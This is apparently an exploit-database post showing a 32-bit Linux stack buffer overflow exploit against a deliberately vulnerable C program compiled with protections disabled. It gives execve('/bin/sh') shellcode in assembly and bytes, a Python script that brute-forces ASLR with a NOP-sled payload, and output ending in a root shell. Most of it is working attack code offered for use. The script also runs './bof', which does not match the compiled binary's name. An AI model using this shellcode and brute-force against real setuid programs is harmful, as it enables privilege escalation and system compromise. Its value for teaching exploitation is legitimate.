Linux/x86 - /bin/sh Shellcode + ASLR Bruteforce

/bin/sh shellcode  Ubuntu 14.0.4 32 bit + ASLR Bruteforce
 
#shellcodeandaslrbruteforce.c
#Tested on : Ubuntu 14.04 32 bits
#Author : Pawan Lal   [email protected]
 
*vim shellcodeandaslrbruteforce.c*
 
#include    <stdio.h>
#include    <stdlib.h>
#include    <assert.h>
#include    <string.h>
 
 
void vuln (const char* arg){
    char buffer[100];
    strcpy(buffer, arg);
    printf("Hello %s\n", buffer);
    printf("[+] buffer @ %p\n", buffer);
}
 
int main (int argc, char **argv){
 
    if (argc != 2) {
        printf("Usage: %s <buffer>\n", argv[0]);
        exit(1);
    }
    vuln(argv[1]);
        return 0;
}
 
Makefile with below command
 
usage : gcc -fno-stack-protector -z execstack shellcodeandaslrbruteforce.c -o shellcodeandaslrbruteforce
 
Turn On ASLR:
 
echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
#############################################################
 
*shellcode that executes '/bin/sh'*
 
global _start
 
section .text
 
_start:
    xor eax, eax
    push eax
 
    push 0x68732f2f     ;//sh
    push 0x6e69622f     ;/bin
    mov ebx, esp        ;moving the pointer to "/bin//sh" to ebx
 
    push eax            ;push 0 (=eax)
    mov edx, esp        ;moving 0 to edx
 
    push ebx
    mov ecx, esp        ;moving the pointer to "/bin//sh" to ecx
 
    mov al, 11
    int 0x80            ;execv syscall
 
 
 
################################################################
 
*Final exploit using /bin/sh shellcode and ASLR bruteforce*
 
*vim shellcodeandaslrbruteforce.py*
 
#!/usr/bin/python
 
import struct, sys, time
from subprocess import PIPE, Popen
 
# exec /bin/sh
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
 
bufsize = 100
offset = 12     #incl. saved ebp
nopsize = 4096
 
def prep_buffer(addr_buffer):
    buf = "A" * (bufsize+offset)
    buf += struct.pack("<I",(addr_buffer+bufsize+offset+4))
    buf += "\x90" * nopsize
    buf += shellcode
    return buf
 
def brute_aslr(buf):
    p = Popen(['./bof', buf]).wait()
 
if __name__ == '__main__':
    addr_buffer = 0xbf92b39c    # randomly decided
    buf = prep_buffer(addr_buffer)
    i = 0
    while True:
        print i
        brute_aslr(buf)
        i += 1
 
##################################################################
 
 
root@ubuntu:~/bof/shellcodeandaslrbruteforce
⇒ python shellcodeandaslrbruteforce.py
(...)
(...)
 
[+] buffer @ 0xbfc2bc0c
996
(... snippet)
 
[+] buffer @ 0xbfb9930c
997
(... snippet)
 
[+] buffer @ 0xbf92721c
998
(... snippet)
 
[+] buffer @ 0xbf92a26c
# whoami
root